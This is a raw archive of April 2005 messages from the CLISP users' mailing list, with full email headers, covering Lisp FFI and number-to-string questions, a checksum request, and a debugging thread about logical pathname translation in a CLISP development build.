> involved in creating, integrating, and deploying reporting=20 > solutions. Free runtime info, new features, or free trial,=20 > at: http://www.businessobjects.com/devxi/728 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list >=20 From sds@gnu.org Thu Apr 21 06:33:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DOboW-0008QM-UZ for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 06:33:52 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DOboT-0004rz-BZ for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 06:33:52 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3LDXRDu027271; Thu, 21 Apr 2005 09:33:27 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42678794.1030206@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 21 Apr 2005 13:59:32 +0300") References: <42678794.1030206@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi:def-call-out with variable parameters number Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 21 06:34:29 2005 X-Original-Date: Thu, 21 Apr 2005 09:32:55 -0400 > * Yaroslav Kavenchuk [2005-04-21 13:59:32 +0300]: > > How define it? > For example - printf. see modules/bindings/glibc/linux.lisp and search for "fcntl". -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp: it's here to save your butt. From sds@gnu.org Thu Apr 21 06:35:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DObqR-0008Vi-88 for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 06:35:51 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DObqQ-00056E-Ln for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 06:35:51 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3LDZSjQ027496; Thu, 21 Apr 2005 09:35:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "E. =?utf-8?Q?Cerme=C3=B1o?=" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050421124631.6EF1C23CFF@ws5-3.us4.outblaze.com> (E. =?utf-8?Q?Cerme=C3=B1o's?= message of "Thu, 21 Apr 2005 20:46:31 +0800") References: <20050421124631.6EF1C23CFF@ws5-3.us4.outblaze.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, E. =?utf-8?Q?Cerme?= =?utf-8?Q?=C3=B1o?= Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Number to string Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 21 06:36:06 2005 X-Original-Date: Thu, 21 Apr 2005 09:35:09 -0400 > * E. Cerme=C3=B1o [2005-04-21 20:46:31 +0800]: > > I've been googling for over an hour and still don't know how to > convert a number to a string in LISP. http://www.lisp.org/HyperSpec/Body/fun_write-to-_nc-to-string.html e.g. (write-to-string 15 :base 7) =3D=3D> "21" --=20 Sam Steingold (http://www.podval.org/~sds) running w2k "Syntactic sugar causes cancer of the semicolon." -Alan Perlis From roland.kaufmann@space.at Fri Apr 22 02:33:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DOuXA-0005ne-SL for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 02:33:12 -0700 Received: from smmsp.space.at ([212.186.218.201]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DOuX8-0004qH-UW for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 02:33:12 -0700 X-Beware: http://www.space.at X-Organization: Austrian Aerospace GmbH X-Street: Stachegasse 16, A-1120 Vienna X-Phone: +43-1-80199-0 fax: +43-1-80199-6950 Received: from elara.space.at (fw-dmz [212.186.218.206]) by smmsp.space.at (8.12.10/8.12.10) with SMTP id j3M9Wr5K028544 for ; Fri, 22 Apr 2005 11:32:57 +0200 (MEST) Received: from jupiter.space.at ([172.27.64.2]) by elara.space.at; Fri, 22 Apr 2005 11:32:46 +0200 (CEST) Received: from rosalind.space.at (rosalind [172.27.96.18]) by jupiter.space.at (8.12.10/8.12.10) with ESMTP id j3M9WjDa012702; Fri, 22 Apr 2005 11:32:45 +0200 (MEST) Received: (from kau@localhost) by rosalind.space.at (8.10.2+Sun/8.10.2) id j3M9Wjx02567; Fri, 22 Apr 2005 11:32:45 +0200 (MEST) Message-Id: <200504220932.j3M9Wjx02567@rosalind.space.at> X-Authentication-Warning: rosalind.space.at: kau set sender to roland.kaufmann@space.at using -f From: roland.kaufmann@space.at Reply-to: roland.kaufmann@space.at To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] checksums for clisp-2.33.2.tar.bz2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 22 02:33:38 2005 X-Original-Date: Fri, 22 Apr 2005 11:32:45 +0200 (MEST) Hello, I would appreciate it if anybody could send me the checksums (MD5, SHA1, cksum) of the file clisp-2.33.2.tar.bz2 as it appears on sourceforge. I have searched for them on the clisp page, Google and the mailing list archives without success. thanks a lot Roland From pjb@informatimago.com Fri Apr 22 08:07:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DOzkf-0007H7-0H for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 08:07:29 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DOzkd-0002ju-3K for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 08:07:28 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 537DB58344; Fri, 22 Apr 2005 17:06:41 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2694E5833D; Fri, 22 Apr 2005 17:06:20 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id BD04B10FBF3; Fri, 22 Apr 2005 17:06:18 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050422150618.BD04B10FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-105.3 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] pathname translation with 2.33.83 ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 22 08:07:44 2005 X-Original-Date: Fri, 22 Apr 2005 17:06:18 +0200 (CEST) With clisp fetched from cvs yesterday: [11]> (logical-pathname-translations "PACKAGES") ((#P"PACKAGES:**;*.*" #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*") (#P"PACKAGES:**;*" #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*" #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*.*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*" #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*")) [12]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "com" "informatimago" "common-lisp") "package" "lisp" NIL) do not fit into #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*" The following restarts are available: ABORT :R1 ABORT Break 1 [13]> (lisp-implementation-version) "2.33.83 (2005-03-14) (built 3323118044) (memory 3323164397)" Break 1 [13]> I don't understand it. For me, ((:DIRECTORY "com" "informatimago" "common-lisp") "package" "lisp" NIL) fits perfectly into: #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*" Just write: #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/com/informatimago/common-lisp/package.lisp" clisp-2.33.2 agrees with me! $ clisp -q -ansi -norc [1]> (load "/local/users/pjb/src/lisp/encours/bellerophon/init.lisp") T [2]> (lisp-implementation-version) "2.33.2 (2004-06-02) (built 3320840961) (memory 3320841245)" [3]> (logical-pathname-translations "PACKAGES") ((#P"PACKAGES:**;*.*" #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*") (#P"PACKAGES:**;*" #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*" #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*.*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*" #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*")) [4]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/com/informatimago/common-lisp/package.lisp" [5]> -- __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live From sds@gnu.org Fri Apr 22 09:13:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DP0mW-0003Jo-9h for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 09:13:28 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DP0mU-0002rK-JY for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 09:13:28 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3MGCg38013739; Fri, 22 Apr 2005 12:12:51 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050422150618.BD04B10FBF3@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 22 Apr 2005 17:06:18 +0200 (CEST)") References: <20050422150618.BD04B10FBF3@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: pathname translation with 2.33.83 ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 22 09:13:31 2005 X-Original-Date: Fri, 22 Apr 2005 12:12:24 -0400 > * Pascal J.Bourguignon [2005-04-22 17:06:18 +0200]: > > With clisp fetched from cvs yesterday: > > [11]> (logical-pathname-translations "PACKAGES") > ((#P"PACKAGES:**;*.*" > #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*") > (#P"PACKAGES:**;*" > #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*") > (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*" > #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*.*") > (#P"PACKAGES:NET;COMON-LISP;UCW;**;*" > #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*")) > [12]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") > > *** - TRANSLATE-PATHNAME: replacement pieces > ((:DIRECTORY "com" "informatimago" "common-lisp") "package" "lisp" NIL) > do not fit into > #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*" > > The following restarts are available: > ABORT :R1 ABORT > Break 1 [13]> (lisp-implementation-version) > "2.33.83 (2005-03-14) (built 3323118044) (memory 3323164397)" > Break 1 [13]> WFM: [1]> (setf (logical-pathname-translations "PACKAGES") '((#P"PACKAGES:**;*.*" #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*") (#P"PACKAGES:**;*" #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*" #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*.*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*" #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*"))) ((#P"PACKAGES:**;*.*" #P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\install\\packages\\**\\*.*") (#P"PACKAGES:**;*" #P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\install\\packages\\**\\*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*" #P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\ucw-0.3.7\\**\\*.*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*" #P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\ucw-0.3.7\\**\\*")) [2]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") #P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\install\\packages\\com\\informatimago\\common-lisp\\package.lisp" [3]> (lisp-implementation-version) "2.33.83 (2005-03-14) (built 3322405394) (memory 3323095184)" -- Sam Steingold (http://www.podval.org/~sds) running w2k The world is coming to an end. Please log off. From pjb@informatimago.com Fri Apr 22 11:31:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DP2w1-0002AP-32 for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 11:31:25 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DP2vy-00019o-Pd for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 11:31:25 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id B6EEC5833D; Fri, 22 Apr 2005 20:30:39 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B2635582FA; Fri, 22 Apr 2005 20:30:17 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id DB46F10FBF3; Fri, 22 Apr 2005 20:30:15 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17001.17072.364325.375458@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: pathname translation with 2.33.83 ? In-Reply-To: References: <20050422150618.BD04B10FBF3@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-105.3 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, UPPERCASE_25_50,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 22 11:31:36 2005 X-Original-Date: Fri, 22 Apr 2005 20:30:08 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2005-04-22 17:06:18 +0200]: > > With clisp fetched from cvs yesterday: > > [12]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") > > > > *** - TRANSLATE-PATHNAME: replacement pieces > > ((:DIRECTORY "com" "informatimago" "common-lisp") "package" "lisp" NIL) > > do not fit into > > #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*" > WFM: > [2]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") > > #P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\install\\packages\\com\\informatimago\\common-lisp\\package.lisp" > [3]> (lisp-implementation-version) I've updated to today CVS, and recompiled (this time 'make check' ran better, ended as follow), but I still have the same problem. (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo " cat "`pwd`"/*.erg" ; exit 1) echo "Test passed." Test passed. make[1]: Leaving directory `/local/users/pjb/src/lisp/encours/bellerophon/clisp-2.33.83/src/tests' cd sacla-tests && ../lisp.run -B .. -M ../lispinit.mem -N ../locale -Efile UTF-8 -Eterminal UTF-8 -norc -i tests.lisp -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))' i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 *** - LOAD: A file with name tests.lisp does not exist Bye. make: *** [check-sacla-tests] Error 1 $ export BASE=/home/pjb/src/lisp/encours/bellerophon/install $ cat init.lisp (IN-PACKAGE "COM.INFORMATIMAGO.INIT") ;; We only add logical pathname translations. This can be done from any package. (LET ((BASE (MAKE-PATHNAME :DIRECTORY (PATHNAME-DIRECTORY (if (ext:getenv "BASE") (CONCATENATE 'STRING (EXT:GETENV "BASE") "/") *LOAD-PATHNAME*))))) (FLET ((MP (SUB) (MERGE-PATHNAMES SUB BASE))) ((LAMBDA (&REST SPECS) (DOLIST (SPEC SPECS) (SETF (LOGICAL-PATHNAME-TRANSLATIONS (FIRST SPEC)) (NCONC (HANDLER-CASE (LOGICAL-PATHNAME-TRANSLATIONS (FIRST SPEC)) (ERROR () NIL)) (MAPCAR (LAMBDA (REST) (LIST (CONCATENATE 'STRING (SECOND SPEC) REST) (MP (CONCATENATE 'STRING (THIRD SPEC) REST)))) #-(OR CLISP SBCL) '("*" "*.*" "*.*.*") #+(OR CLISP SBCL) '("*.*" "*") ))))) '("BELLEROPHON" "BELLEROPHON:**;" "**/") '("PACKAGES" "PACKAGES:**;" "install/packages/**/") '("PACKAGES" "PACKAGES:NET;COMON-LISP;UCW;**;" "install/packages/net/common-lisp/ucw-0.3.7/**/")))) (IN-PACKAGE "COMMON-LISP-USER") (DELETE-PACKAGE "COM.INFORMATIMAGO.INIT") $ cat lisp.sh cat lisp.sh #!/bin/bash ulimit -s $(( 128 * 1024 )) base="$(dirname "$0")/install" # We launch without ~/.clisprc exec "$base/bin/clisp" \ -norc -ansi -q -K full -m 32M -I -E ISO-8859-1 -Eterminal UTF-8 $ ./lisp.sh ./lisp.sh [1]> (load "init.lisp") ;; Loading file init.lisp ... ;; Loaded file init.lisp T [2]> (logical-pathname-translations "PACKAGES") ((#P"PACKAGES:**;*.*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*.*") (#P"PACKAGES:**;*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/net/common-lisp/ucw-0.3.7/**/*.*") (#P"PACKAGES:NET;COMON-LISP;UCW;**;*" #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/net/common-lisp/ucw-0.3.7/**/*")) [3]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "com" "informatimago" "common-lisp") "package" "lisp" NIL) do not fit into #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*.*" The following restarts are available: ABORT :R1 ABORT Break 1 [4]> (pathname-directory #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*.*") (:ABSOLUTE "home" "pjb" "src" "lisp" "encours" "bellerophon" "install" "install" "packages" :WILD-INFERIORS) Break 1 [4]> (pathname-name #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*.*") :WILD Break 1 [4]> (pathname-type #P"/home/pjb/src/lisp/encours/bellerophon/install/install/packages/**/*.*") :WILD Break 1 [4]> (defun print-bug-report-info () (format t "~2%~{~28A ~S~%~}~2%" (list "LISP-IMPLEMENTATION-TYPE" (lisp-implementation-type) "LISP-IMPLEMENTATION-VERSION" (lisp-implementation-version) "SOFTWARE-TYPE" (software-type) "SOFTWARE-VERSION" (software-version) "MACHINE-INSTANCE" (machine-instance) "MACHINE-TYPE" (machine-type) "MACHINE-VERSION" (machine-version)))) Break 1 [4]> (PRINT-BUG-REPORT-INFO) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.33.83 (2005-03-14) (built 3323179092) (memory 3323180084)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" NIL Break 1 [4]> -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From pjb@informatimago.com Fri Apr 22 12:17:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DP3ev-0004Tw-J5 for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 12:17:49 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DP3et-0006BI-Hd for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 12:17:49 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id B1F6F5833D; Fri, 22 Apr 2005 21:17:21 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 36C15582FA; Fri, 22 Apr 2005 21:16:58 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id BB1DA10FBF3; Fri, 22 Apr 2005 21:16:57 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: 